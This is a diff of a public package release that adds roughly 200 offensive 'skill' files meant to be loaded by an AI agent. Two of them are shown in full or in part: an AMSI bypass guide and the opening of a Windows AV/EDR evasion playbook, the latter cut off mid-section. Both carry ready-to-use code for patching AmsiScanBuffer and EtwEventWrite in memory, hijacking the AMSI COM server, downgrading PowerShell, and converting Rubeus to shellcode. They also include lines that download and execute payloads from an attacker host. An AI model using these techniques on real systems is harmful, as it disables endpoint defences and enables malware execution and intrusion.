ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,289 @@
1
+ # AMSI Bypass Techniques — Detailed Patterns
2
+
3
+ > **AI LOAD INSTRUCTION**: Load this for detailed AMSI bypass code patterns, PowerShell-specific bypasses, .NET AMSI bypass, and Constrained Language Mode escape. Assumes the main [SKILL.md](./SKILL.md) is already loaded for general AV/EDR evasion concepts.
4
+
5
+ ---
6
+
7
+ ## 1. AMSI ARCHITECTURE
8
+
9
+ ```
10
+ PowerShell / .NET / VBScript / JScript
11
+
12
+
13
+ amsi.dll (loaded in process)
14
+
15
+ ├── AmsiInitialize() → Create AMSI context
16
+ ├── AmsiOpenSession() → Open scan session
17
+ ├── AmsiScanBuffer() → Scan content ← PRIMARY TARGET
18
+ ├── AmsiScanString() → Scan string
19
+ └── AmsiCloseSession() → Close session
20
+
21
+
22
+ AV Engine (Windows Defender / third-party)
23
+
24
+
25
+ AMSI_RESULT (Clean / Malware / Not Detected)
26
+ ```
27
+
28
+ **Key insight**: Patching `AmsiScanBuffer` to always return "clean" bypasses all AMSI-enabled scanning.
29
+
30
+ ---
31
+
32
+ ## 2. MEMORY PATCHING — AmsiScanBuffer
33
+
34
+ ### Concept
35
+
36
+ Overwrite the first bytes of `AmsiScanBuffer` so it returns `AMSI_RESULT_CLEAN` (0) immediately.
37
+
38
+ ### PowerShell Implementation (Obfuscated)
39
+
40
+ ```powershell
41
+ # Base pattern — variable names must be randomized per use
42
+ $a = [Ref].Assembly.GetTypes() | ? { $_.Name -like "*siUtils" }
43
+ $b = $a.GetFields('NonPublic,Static') | ? { $_.Name -like "*Context" }
44
+ # ... patching logic varies by implementation
45
+
46
+ # The actual patch writes bytes to AmsiScanBuffer:
47
+ # x64: mov eax, 0x80070057 (E_INVALIDARG); ret
48
+ # Bytes: B8 57 00 07 80 C3
49
+ ```
50
+
51
+ ### C# Implementation
52
+
53
+ ```csharp
54
+ // Get amsi.dll handle and AmsiScanBuffer address
55
+ IntPtr amsiDll = LoadLibrary("amsi.dll");
56
+ IntPtr amsiScanBufferAddr = GetProcAddress(amsiDll, "AmsiScanBuffer");
57
+
58
+ // Change memory protection to writable
59
+ VirtualProtect(amsiScanBufferAddr, (UIntPtr)6, 0x40, out uint oldProtect);
60
+
61
+ // Patch: mov eax, 0x80070057; ret (returns E_INVALIDARG)
62
+ byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
63
+ Marshal.Copy(patch, 0, amsiScanBufferAddr, patch.Length);
64
+
65
+ // Restore protection
66
+ VirtualProtect(amsiScanBufferAddr, (UIntPtr)6, oldProtect, out _);
67
+ ```
68
+
69
+ ### Obfuscation Techniques for the Patch
70
+
71
+ ```powershell
72
+ # Avoid string "AmsiScanBuffer" (itself flagged):
73
+
74
+ # XOR obfuscation
75
+ $xorKey = 0x42
76
+ $encBytes = [byte[]]@(0x23,0x2F,0x31,...) # XOR-encrypted function name
77
+
78
+ # Base64 split
79
+ $p1 = "Am"; $p2 = "si"; $p3 = "Sc"; $p4 = "anBuf"; $p5 = "fer"
80
+ $funcName = "$p1$p2$p3$p4$p5"
81
+
82
+ # Reverse string
83
+ $rev = "reffuBnacSimA"
84
+ $funcName = -join ($rev[-1..-($rev.Length)])
85
+ ```
86
+
87
+ ---
88
+
89
+ ## 3. REFLECTION-BASED BYPASS
90
+
91
+ ### Set amsiInitFailed
92
+
93
+ ```powershell
94
+ # Force AMSI initialization failure via reflection
95
+ # The field name and class are obfuscated because they're flagged
96
+ $t = [Ref].Assembly.GetType(('System.Management.Automation.{0}' -f ('Am','siUtils' -join '')))
97
+ $f = $t.GetField(('am','siIn','itFailed' -join ''), 'NonPublic,Static')
98
+ $f.SetValue($null, $true)
99
+ # All subsequent AMSI scans skip (init "already failed")
100
+ ```
101
+
102
+ ### Disable AMSI via Session State
103
+
104
+ ```powershell
105
+ # Remove AMSI providers from session
106
+ $utils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
107
+ $field = $utils.GetField('amsiSession', 'NonPublic,Static')
108
+ $session = $field.GetValue($null)
109
+ # Nullify session → AMSI has no active session to scan with
110
+ ```
111
+
112
+ ---
113
+
114
+ ## 4. POWERSHELL-SPECIFIC BYPASSES
115
+
116
+ ### PowerShell v2 Downgrade
117
+
118
+ ```cmd
119
+ # If .NET Framework 2.0/3.5 is installed, PS v2 has no AMSI
120
+ powershell -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"
121
+
122
+ # Check if v2 is available
123
+ reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v2.0.50727"
124
+ ```
125
+
126
+ ### PowerShell Runspace (Bypass Script Block Logging + AMSI)
127
+
128
+ ```csharp
129
+ // C# — create PowerShell runspace without AMSI
130
+ using System.Management.Automation;
131
+ using System.Management.Automation.Runspaces;
132
+
133
+ Runspace rs = RunspaceFactory.CreateRunspace();
134
+ rs.Open();
135
+ // Patch AMSI in this runspace
136
+ PowerShell ps = PowerShell.Create();
137
+ ps.Runspace = rs;
138
+ ps.AddScript("whoami");
139
+ var results = ps.Invoke();
140
+ ```
141
+
142
+ ### Constrained Language Mode Bypass
143
+
144
+ ```powershell
145
+ # Check current language mode
146
+ $ExecutionContext.SessionState.LanguageMode
147
+
148
+ # Bypass 1: PowerShell v2 (no CLM in v2)
149
+ powershell -Version 2
150
+
151
+ # Bypass 2: Run from unmanaged code (C++/C# loader)
152
+ # CLM is enforced per-process; unmanaged loader can create unrestricted runspace
153
+
154
+ # Bypass 3: WDAC/AppLocker misconfiguration
155
+ # Find writable directory in allowed path → execute from there
156
+ ```
157
+
158
+ ---
159
+
160
+ ## 5. .NET AMSI BYPASS
161
+
162
+ ### In-Assembly Bypass (Before Tool Execution)
163
+
164
+ ```csharp
165
+ // Patch AmsiScanBuffer before loading the target .NET tool
166
+ static void PatchAmsi()
167
+ {
168
+ IntPtr lib = LoadLibrary("amsi.dll");
169
+ IntPtr addr = GetProcAddress(lib, "AmsiScanBuffer");
170
+
171
+ uint oldProtect;
172
+ VirtualProtect(addr, (UIntPtr)6, 0x40, out oldProtect);
173
+
174
+ // mov eax, 0x80070057 (E_INVALIDARG); ret
175
+ Marshal.Copy(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }, 0, addr, 6);
176
+
177
+ VirtualProtect(addr, (UIntPtr)6, oldProtect, out _);
178
+ }
179
+
180
+ // Call PatchAmsi() before Assembly.Load() of the target tool
181
+ PatchAmsi();
182
+ byte[] toolBytes = DownloadAndDecrypt("https://attacker/tool.enc");
183
+ Assembly.Load(toolBytes).EntryPoint.Invoke(null, new object[] { args });
184
+ ```
185
+
186
+ ### VBScript/JScript AMSI Bypass
187
+
188
+ ```vbscript
189
+ ' VBScript — WScript.Shell execution (AMSI may not cover all code paths)
190
+ Set shell = CreateObject("WScript.Shell")
191
+ shell.Run "cmd.exe /c whoami", 0, True
192
+ ```
193
+
194
+ ### Office Macro AMSI Bypass
195
+
196
+ ```vba
197
+ ' VBA macros are scanned by AMSI in Office 365+
198
+ ' Bypass: use Win32 API directly (VirtualAlloc + RtlMoveMemory + CreateThread)
199
+ ' AMSI scans the VBA source, not the API calls at runtime
200
+
201
+ Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (...)
202
+ Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (...)
203
+ Private Declare PtrSafe Function CreateThread Lib "kernel32" (...)
204
+ ```
205
+
206
+ ---
207
+
208
+ ## 6. COM-BASED AMSI BYPASS
209
+
210
+ ### AMSI COM Server Hijack
211
+
212
+ AMSI uses a COM object (CLSID `{fdb00e52-a214-4aa1-8fba-4357bb0072ec}`). Redirecting it disables AMSI.
213
+
214
+ ```cmd
215
+ # Create registry redirect (per-user, no admin needed)
216
+ reg add "HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32" /ve /d "C:\temp\fake_amsi.dll" /f
217
+
218
+ # fake_amsi.dll exports AmsiScanBuffer returning S_OK + AMSI_RESULT_CLEAN
219
+ ```
220
+
221
+ ---
222
+
223
+ ## 7. HARDWARE BREAKPOINT BYPASS
224
+
225
+ Use hardware breakpoints to intercept `AmsiScanBuffer` without modifying memory.
226
+
227
+ ```csharp
228
+ // Set hardware breakpoint on AmsiScanBuffer
229
+ // When hit: exception handler modifies return value to AMSI_RESULT_CLEAN
230
+ // Advantage: no memory modification → bypasses integrity checks
231
+
232
+ CONTEXT ctx = new CONTEXT { ContextFlags = CONTEXT_DEBUG_REGISTERS };
233
+ ctx.Dr0 = (ulong)amsiScanBufferAddr; // Break address
234
+ ctx.Dr7 = 0x00000001; // Enable DR0
235
+ SetThreadContext(hThread, ref ctx);
236
+
237
+ // Vectored Exception Handler modifies RAX (return value) to 0
238
+ AddVectoredExceptionHandler(1, ExceptionHandler);
239
+ ```
240
+
241
+ **Advantage**: No code patching, passes memory integrity checks used by some EDRs.
242
+
243
+ ---
244
+
245
+ ## 8. AMSI BYPASS DECISION TREE
246
+
247
+ ```
248
+ Need to bypass AMSI
249
+
250
+ ├── PowerShell payload?
251
+ │ ├── .NET 2.0 available?
252
+ │ │ └── PS v2 downgrade (simplest, no AMSI in v2) (§4)
253
+ │ ├── Can run C# loader?
254
+ │ │ └── Patch AmsiScanBuffer from C# before PS (§2)
255
+ │ ├── Pure PowerShell bypass needed?
256
+ │ │ ├── Reflection: set amsiInitFailed (§3)
257
+ │ │ ├── Memory patch AmsiScanBuffer (§2)
258
+ │ │ └── Obfuscate all trigger strings
259
+ │ └── Bypass detected by AV?
260
+ │ ├── Hardware breakpoint method (§7)
261
+ │ └── COM server hijack (§6)
262
+
263
+ ├── .NET assembly (C# tool)?
264
+ │ ├── AMSI scanning Assembly.Load?
265
+ │ │ ├── Patch AMSI before load (§5)
266
+ │ │ ├── ETW bypass to hide load event
267
+ │ │ └── Convert to shellcode via Donut (avoid .NET AMSI entirely)
268
+ │ └── CLM blocking execution?
269
+ │ ├── PS v2 downgrade (§4)
270
+ │ └── Unmanaged loader (C++/C# P/Invoke)
271
+
272
+ ├── VBScript / JScript?
273
+ │ ├── AMSI scans script content → obfuscate heavily
274
+ │ └── Use WScript.Shell for execution (less AMSI coverage)
275
+
276
+ ├── Office Macro?
277
+ │ ├── VBA AMSI bypass: use Win32 API directly (§5)
278
+ │ └── Obfuscate macro source code
279
+
280
+ ├── Multiple AMSI bypasses chained?
281
+ │ └── 1. Obfuscate strings → 2. Patch AMSI → 3. Load payload
282
+ │ (each layer adds resilience)
283
+
284
+ └── EDR detects the bypass itself?
285
+ ├── Vary bypass method per engagement
286
+ ├── Use hardware breakpoints (no memory modification) (§7)
287
+ ├── Custom-develop bypass (modify known patterns)
288
+ └── Consider fileless Living-off-the-Land approach instead
289
+ ```
@@ -0,0 +1,342 @@
1
+ ---
2
+ name: windows-av-evasion
3
+ description: >-
4
+ AV/EDR evasion playbook for Windows. Use when bypassing AMSI, ETW, .NET assembly detection, shellcode execution, process injection, API hooking, and signature-based detection on Windows endpoints.gated: true
5
+ ---
6
+
7
+ # SKILL: AV/EDR Evasion — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert AV/EDR evasion techniques for Windows. Covers AMSI bypass, ETW bypass, .NET assembly loading, shellcode execution, process injection, unhooking, payload encryption, and signature evasion. Base models miss detection-specific bypass chains and syscall-level evasion nuances.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ Before going deep, consider loading:
14
+
15
+ - [windows-privilege-escalation](../windows-privilege-escalation/SKILL.md) when privesc tools are blocked by AV
16
+ - [windows-lateral-movement](../windows-lateral-movement/SKILL.md) when lateral movement tools trigger EDR
17
+ - [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) when Rubeus/Mimikatz are detected
18
+ - [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for non-binary AD attacks (less AV-sensitive)
19
+
20
+ ### Advanced Reference
21
+
22
+ Also load [AMSI_BYPASS_TECHNIQUES.md](./AMSI_BYPASS_TECHNIQUES.md) when you need:
23
+ - Detailed AMSI bypass code patterns (memory patching, reflection)
24
+ - PowerShell-specific AMSI bypasses
25
+ - .NET AMSI bypass techniques
26
+
27
+ ---
28
+
29
+ ## 1. AMSI BYPASS OVERVIEW
30
+
31
+ AMSI (Antimalware Scan Interface) inspects PowerShell, .NET, VBScript, JScript, and Office macros at runtime.
32
+
33
+ ### Key AMSI Bypass Categories
34
+
35
+ | Category | Method | Detection Risk | Persistence |
36
+ |---|---|---|---|
37
+ | Memory patching | Patch `AmsiScanBuffer` in `amsi.dll` | Medium | Per-process |
38
+ | Reflection | Modify AMSI init flags via .NET reflection | Medium | Per-session |
39
+ | String obfuscation | Encode/split AMSI trigger strings | Low | Per-payload |
40
+ | PowerShell downgrade | Force PS v2 (no AMSI) | Low | Per-session |
41
+ | CLM bypass | Escape Constrained Language Mode | Medium | Per-session |
42
+ | COM hijack | Redirect AMSI COM server | Low | Per-user |
43
+
44
+ ### Quick AMSI Bypass (One-Liners)
45
+
46
+ ```powershell
47
+ # PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)
48
+ powershell -Version 2
49
+
50
+ # Reflection-based (set amsiInitFailed = true)
51
+ # Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns
52
+ ```
53
+
54
+ ---
55
+
56
+ ## 2. ETW BYPASS
57
+
58
+ ETW (Event Tracing for Windows) feeds telemetry to EDR. Patching `EtwEventWrite` stops .NET assembly load events.
59
+
60
+ ### Patch EtwEventWrite
61
+
62
+ ```csharp
63
+ // C# — patch EtwEventWrite to return immediately
64
+ var ntdll = GetModuleHandle("ntdll.dll");
65
+ var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
66
+ // Write: ret (0xC3) to first byte
67
+ VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
68
+ Marshal.WriteByte(etwAddr, 0xC3);
69
+ VirtualProtect(etwAddr, 1, oldProtect, out _);
70
+ ```
71
+
72
+ ### PowerShell ETW Bypass
73
+
74
+ ```powershell
75
+ # Disable Script Block Logging (ETW provider)
76
+ [Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
77
+ # Set internal field to disable ETW tracing
78
+ ```
79
+
80
+ ---
81
+
82
+ ## 3. .NET ASSEMBLY LOADING
83
+
84
+ ### In-Memory Assembly.Load
85
+
86
+ ```csharp
87
+ byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
88
+ // Or download from URL, decrypt from resource
89
+ Assembly assembly = Assembly.Load(assemblyBytes);
90
+ assembly.EntryPoint.Invoke(null, new object[] { args });
91
+ ```
92
+
93
+ ### Donut — Convert .NET Assembly to Shellcode
94
+
95
+ ```bash
96
+ # Generate shellcode from .NET EXE
97
+ donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main
98
+
99
+ # With parameters
100
+ donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"
101
+
102
+ # Then load shellcode via any injection technique (§5)
103
+ ```
104
+
105
+ ### execute-assembly (C2 Framework)
106
+
107
+ ```
108
+ # Cobalt Strike
109
+ execute-assembly /path/to/Rubeus.exe kerberoast
110
+
111
+ # Sliver
112
